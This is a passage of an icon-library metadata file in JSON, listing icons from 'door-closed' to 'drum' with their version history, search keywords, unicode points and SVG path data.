    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["doo", "door", "enter", "exit", "locked"]
    },
    "styles": ["solid"],
    "unicode": "f52a",
    "label": "Door Closed",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 64c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V448h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 144 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96V64zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 64c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V448h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 144 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96V64zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "door-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f52b"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["enter", "exit", "welcome"]
    },
    "styles": ["solid"],
    "unicode": "f52b",
    "label": "Door Open",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 32c0-9.9-4.5-19.2-12.3-25.2S289.8-1.4 280.2 1l-179.9 45C79 51.3 64 70.5 64 92.5V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 288h32V480 32zM256 256c0 17.7-10.7 32-24 32s-24-14.3-24-32s10.7-32 24-32s24 14.3 24 32zm96-128h96V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H512V128c0-35.3-28.7-64-64-64H352v64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 32c0-9.9-4.5-19.2-12.3-25.2S289.8-1.4 280.2 1l-179.9 45C79 51.3 64 70.5 64 92.5V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 288h32V480 32zM256 256c0 17.7-10.7 32-24 32s-24-14.3-24-32s10.7-32 24-32s24 14.3 24 32zm96-128h96V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H512V128c0-35.3-28.7-64-64-64H352v64z"
      }
    },
    "free": ["solid"]
  },
  "dove": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54a"],
        "secondary": ["10f4ba"]
      }
    },
    "changes": [
      "5.0.9",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bird", "dove", "fauna", "fly", "flying", "peace", "war"]
    },
    "styles": ["solid"],
    "unicode": "f4ba",
    "label": "Dove",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160.8 96.5c14 17 31 30.9 49.5 42.2c25.9 15.8 53.7 25.9 77.7 31.6V138.8C265.8 108.5 250 71.5 248.6 28c-.4-11.3-7.5-21.5-18.4-24.4c-7.6-2-15.8-.2-21 5.8c-13.3 15.4-32.7 44.6-48.4 87.2zM320 144v30.6l0 0v1.3l0 0 0 32.1c-60.8-5.1-185-43.8-219.3-157.2C97.4 40 87.9 32 76.6 32c-7.9 0-15.3 3.9-18.8 11C46.8 65.9 32 112.1 32 176c0 116.9 80.1 180.5 118.4 202.8L11.8 416.6C6.7 418 2.6 421.8 .9 426.8s-.8 10.6 2.3 14.8C21.7 466.2 77.3 512 160 512c3.6 0 7.2-1.2 10-3.5L245.6 448H320c88.4 0 160-71.6 160-160V128l29.9-44.9c1.3-2 2.1-4.4 2.1-6.8c0-6.8-5.5-12.3-12.3-12.3H400c-44.2 0-80 35.8-80 80zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160.8 96.5c14 17 31 30.9 49.5 42.2c25.9 15.8 53.7 25.9 77.7 31.6V138.8C265.8 108.5 250 71.5 248.6 28c-.4-11.3-7.5-21.5-18.4-24.4c-7.6-2-15.8-.2-21 5.8c-13.3 15.4-32.7 44.6-48.4 87.2zM320 144v30.6l0 0v1.3l0 0 0 32.1c-60.8-5.1-185-43.8-219.3-157.2C97.4 40 87.9 32 76.6 32c-7.9 0-15.3 3.9-18.8 11C46.8 65.9 32 112.1 32 176c0 116.9 80.1 180.5 118.4 202.8L11.8 416.6C6.7 418 2.6 421.8 .9 426.8s-.8 10.6 2.3 14.8C21.7 466.2 77.3 512 160 512c3.6 0 7.2-1.2 10-3.5L245.6 448H320c88.4 0 160-71.6 160-160V128l29.9-44.9c1.3-2 2.1-4.4 2.1-6.8c0-6.8-5.5-12.3-12.3-12.3H400c-44.2 0-80 35.8-80 80zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "down-left-and-up-right-to-center": {
    "aliases": {
      "names": ["compress-alt"],
      "unicodes": {
        "secondary": ["10f422"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "fullscreen",
        "minimize",
        "move",
        "resize",
        "shrink",
        "smaller"
      ]
    },
    "styles": ["solid"],
    "unicode": "f422",
    "label": "Down Left And Up Right To Center",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M439 7c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H296c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39L439 7zM72 272H216c13.3 0 24 10.7 24 24V440c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39L73 505c-9.4 9.4-24.6 9.4-33.9 0L7 473c-9.4-9.4-9.4-24.6 0-33.9l87-87L55 313c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M439 7c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H296c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39L439 7zM72 272H216c13.3 0 24 10.7 24 24V440c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39L73 505c-9.4 9.4-24.6 9.4-33.9 0L7 473c-9.4-9.4-9.4-24.6 0-33.9l87-87L55 313c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8z"
      }
    },
    "free": ["solid"]
  },
  "down-long": {
    "aliases": {
      "names": ["long-arrow-alt-down"],
      "unicodes": {
        "secondary": ["10f309"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["download", "long-arrow-down"]
    },
    "styles": ["solid"],
    "unicode": "f309",
    "label": "Down Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M2 334.5c-3.8 8.8-2 19 4.6 26l136 144c4.5 4.8 10.8 7.5 17.4 7.5s12.9-2.7 17.4-7.5l136-144c6.6-7 8.4-17.2 4.6-26s-12.5-14.5-22-14.5l-72 0 0-288c0-17.7-14.3-32-32-32L128 0C110.3 0 96 14.3 96 32l0 288-72 0c-9.6 0-18.2 5.7-22 14.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M2 334.5c-3.8 8.8-2 19 4.6 26l136 144c4.5 4.8 10.8 7.5 17.4 7.5s12.9-2.7 17.4-7.5l136-144c6.6-7 8.4-17.2 4.6-26s-12.5-14.5-22-14.5l-72 0 0-288c0-17.7-14.3-32-32-32L128 0C110.3 0 96 14.3 96 32l0 288-72 0c-9.6 0-18.2 5.7-22 14.5z"
      }
    },
    "free": ["solid"]
  },
  "download": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f019"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["export", "hard drive", "save", "transfer"]
    },
    "styles": ["solid"],
    "unicode": "f019",
    "label": "Download",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V274.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 274.7V32zM64 352c-35.3 0-64 28.7-64 64v32c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V416c0-35.3-28.7-64-64-64H346.5l-45.3 45.3c-25 25-65.5 25-90.5 0L165.5 352H64zm368 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V274.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 274.7V32zM64 352c-35.3 0-64 28.7-64 64v32c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V416c0-35.3-28.7-64-64-64H346.5l-45.3 45.3c-25 25-65.5 25-90.5 0L165.5 352H64zm368 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "draft2digital": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f396",
    "label": "Draft2digital",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"
      }
    },
    "free": ["brands"]
  },
  "dragon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f409"],
        "secondary": ["10f6d5"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "dragon",
        "fairy tale",
        "fantasy",
        "fire",
        "lizard",
        "serpent"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d5",
    "label": "Dragon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M352 124.5l-51.9-13c-6.5-1.6-11.3-7.1-12-13.8s2.8-13.1 8.7-16.1l40.8-20.4L294.4 28.8c-5.5-4.1-7.8-11.3-5.6-17.9S297.1 0 304 0H416h32 16c30.2 0 58.7 14.2 76.8 38.4l57.6 76.8c6.2 8.3 9.6 18.4 9.6 28.8c0 26.5-21.5 48-48 48H538.5c-17 0-33.3-6.7-45.3-18.7L480 160H448v21.5c0 24.8 12.8 47.9 33.8 61.1l106.6 66.6c32.1 20.1 51.6 55.2 51.6 93.1C640 462.9 590.9 512 530.2 512H496 432 32.3c-3.3 0-6.6-.4-9.6-1.4C13.5 507.8 6 501 2.4 492.1C1 488.7 .2 485.2 0 481.4c-.2-3.7 .3-7.3 1.3-10.7c2.8-9.2 9.6-16.7 18.6-20.4c3-1.2 6.2-2 9.5-2.2L433.3 412c8.3-.7 14.7-7.7 14.7-16.1c0-4.3-1.7-8.4-4.7-11.4l-44.4-44.4c-30-30-46.9-70.7-46.9-113.1V181.5v-57zM512 72.3c0-.1 0-.2 0-.3s0-.2 0-.3v.6zm-1.3 7.4L464.3 68.1c-.2 1.3-.3 2.6-.3 3.9c0 13.3 10.7 24 24 24c10.6 0 19.5-6.8 22.7-16.3zM130.9 116.5c16.3-14.5 40.4-16.2 58.5-4.1l130.6 87V227c0 32.8 8.4 64.8 24 93H112c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7L171 232.3 18.4 255.8c-7 1.1-13.9-2.6-16.9-9s-1.5-14.1 3.8-18.8L130.9 116.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M352 124.5l-51.9-13c-6.5-1.6-11.3-7.1-12-13.8s2.8-13.1 8.7-16.1l40.8-20.4L294.4 28.8c-5.5-4.1-7.8-11.3-5.6-17.9S297.1 0 304 0H416h32 16c30.2 0 58.7 14.2 76.8 38.4l57.6 76.8c6.2 8.3 9.6 18.4 9.6 28.8c0 26.5-21.5 48-48 48H538.5c-17 0-33.3-6.7-45.3-18.7L480 160H448v21.5c0 24.8 12.8 47.9 33.8 61.1l106.6 66.6c32.1 20.1 51.6 55.2 51.6 93.1C640 462.9 590.9 512 530.2 512H496 432 32.3c-3.3 0-6.6-.4-9.6-1.4C13.5 507.8 6 501 2.4 492.1C1 488.7 .2 485.2 0 481.4c-.2-3.7 .3-7.3 1.3-10.7c2.8-9.2 9.6-16.7 18.6-20.4c3-1.2 6.2-2 9.5-2.2L433.3 412c8.3-.7 14.7-7.7 14.7-16.1c0-4.3-1.7-8.4-4.7-11.4l-44.4-44.4c-30-30-46.9-70.7-46.9-113.1V181.5v-57zM512 72.3c0-.1 0-.2 0-.3s0-.2 0-.3v.6zm-1.3 7.4L464.3 68.1c-.2 1.3-.3 2.6-.3 3.9c0 13.3 10.7 24 24 24c10.6 0 19.5-6.8 22.7-16.3zM130.9 116.5c16.3-14.5 40.4-16.2 58.5-4.1l130.6 87V227c0 32.8 8.4 64.8 24 93H112c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7L171 232.3 18.4 255.8c-7 1.1-13.9-2.6-16.9-9s-1.5-14.1 3.8-18.8L130.9 116.5z"
      }
    },
    "free": ["solid"]
  },
  "draw-polygon": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5ee"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["anchors", "lines", "object", "render", "shape"]
    },
    "styles": ["solid"],
    "unicode": "f5ee",
    "label": "Draw Polygon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 151.4V360.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c0-.1 .1-.2 .1-.3l-4.5-7.9-32-56 0 0c-1.4 .1-2.8 .1-4.2 .1c-35.3 0-64-28.7-64-64s28.7-64 64-64c1.4 0 2.8 0 4.2 .1l0 0 32-56 4.5-7.9-.1-.3H119.4c-5.6 9.7-13.7 17.8-23.4 23.4zM384.3 352c35.2 .2 63.7 28.7 63.7 64c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V151.4C12.9 140.4 0 119.7 0 96C0 60.7 28.7 32 64 32c23.7 0 44.4 12.9 55.4 32H328.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 35.3-28.5 63.8-63.7 64l-4.5 7.9-32 56-2.3 4c4.2 8.5 6.5 18 6.5 28.1s-2.3 19.6-6.5 28.1l2.3 4 32 56 4.5 7.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 151.4V360.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c0-.1 .1-.2 .1-.3l-4.5-7.9-32-56 0 0c-1.4 .1-2.8 .1-4.2 .1c-35.3 0-64-28.7-64-64s28.7-64 64-64c1.4 0 2.8 0 4.2 .1l0 0 32-56 4.5-7.9-.1-.3H119.4c-5.6 9.7-13.7 17.8-23.4 23.4zM384.3 352c35.2 .2 63.7 28.7 63.7 64c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V151.4C12.9 140.4 0 119.7 0 96C0 60.7 28.7 32 64 32c23.7 0 44.4 12.9 55.4 32H328.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 35.3-28.5 63.8-63.7 64l-4.5 7.9-32 56-2.3 4c4.2 8.5 6.5 18 6.5 28.1s-2.3 19.6-6.5 28.1l2.3 4 32 56 4.5 7.9z"
      }
    },
    "free": ["solid"]
  },
  "dribbble": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f17d",
    "label": "Dribbble",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"
      }
    },
    "free": ["brands"]
  },
  "dropbox": {
    "changes": ["3.2.0", "5.0.0", "5.0.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16b",
    "label": "Dropbox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 528 512\"><path d=\"M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z\"/></svg>",
        "viewBox": [0, 0, 528, 512],
        "width": 528,
        "height": 512,
        "path": "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"
      }
    },
    "free": ["brands"]
  },
  "droplet": {
    "aliases": {
      "names": ["tint"],
      "unicodes": {
        "composite": ["1f4a7"],
        "secondary": ["10f043"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "color",
        "comic",
        "drop",
        "droplet",
        "raindrop",
        "sweat",
        "waterdrop"
      ]
    },
    "styles": ["solid"],
    "unicode": "f043",
    "label": "Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 512C86 512 0 426 0 320C0 228.8 130.2 57.7 166.6 11.7C172.6 4.2 181.5 0 191.1 0h1.8c9.6 0 18.5 4.2 24.5 11.7C253.8 57.7 384 228.8 384 320c0 106-86 192-192 192zM96 336c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 61.9 50.1 112 112 112c8.8 0 16-7.2 16-16s-7.2-16-16-16c-44.2 0-80-35.8-80-80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 512C86 512 0 426 0 320C0 228.8 130.2 57.7 166.6 11.7C172.6 4.2 181.5 0 191.1 0h1.8c9.6 0 18.5 4.2 24.5 11.7C253.8 57.7 384 228.8 384 320c0 106-86 192-192 192zM96 336c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 61.9 50.1 112 112 112c8.8 0 16-7.2 16-16s-7.2-16-16-16c-44.2 0-80-35.8-80-80z"
      }
    },
    "free": ["solid"]
  },
  "droplet-slash": {
    "aliases": {
      "names": ["tint-slash"],
      "unicodes": {
        "secondary": ["10f5c7"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["color", "drop", "droplet", "raindrop", "waterdrop"]
    },
    "styles": ["solid"],
    "unicode": "f5c7",
    "label": "Droplet Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 512c53.2 0 101.4-21.6 136.1-56.6l-298.3-235C140 257.1 128 292.3 128 320c0 106 86 192 192 192zM505.2 370.7c4.4-16.1 6.8-33.1 6.8-50.7c0-91.2-130.2-262.3-166.6-308.3C339.4 4.2 330.5 0 320.9 0h-1.8c-9.6 0-18.5 4.2-24.5 11.7C277.8 33 240.7 81.3 205.8 136L38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L505.2 370.7zM224 336c0 44.2 35.8 80 80 80c8.8 0 16 7.2 16 16s-7.2 16-16 16c-61.9 0-112-50.1-112-112c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 512c53.2 0 101.4-21.6 136.1-56.6l-298.3-235C140 257.1 128 292.3 128 320c0 106 86 192 192 192zM505.2 370.7c4.4-16.1 6.8-33.1 6.8-50.7c0-91.2-130.2-262.3-166.6-308.3C339.4 4.2 330.5 0 320.9 0h-1.8c-9.6 0-18.5 4.2-24.5 11.7C277.8 33 240.7 81.3 205.8 136L38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L505.2 370.7zM224 336c0 44.2 35.8 80 80 80c8.8 0 16 7.2 16 16s-7.2 16-16 16c-61.9 0-112-50.1-112-112c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "drum": {
    "aliases": {
      "unicodes": {
        "composite": ["1f941"],
        "secondary": ["10f569"]
      }
    },
    "changes": ["5.1.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "drum",
        "drumsticks",
        "instrument",
        "music",
        "percussion",
        "snare",
        "sound"
      ]
    },
    "styles": ["solid"],
    "unicode": "f569",
    "label": "Drum",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
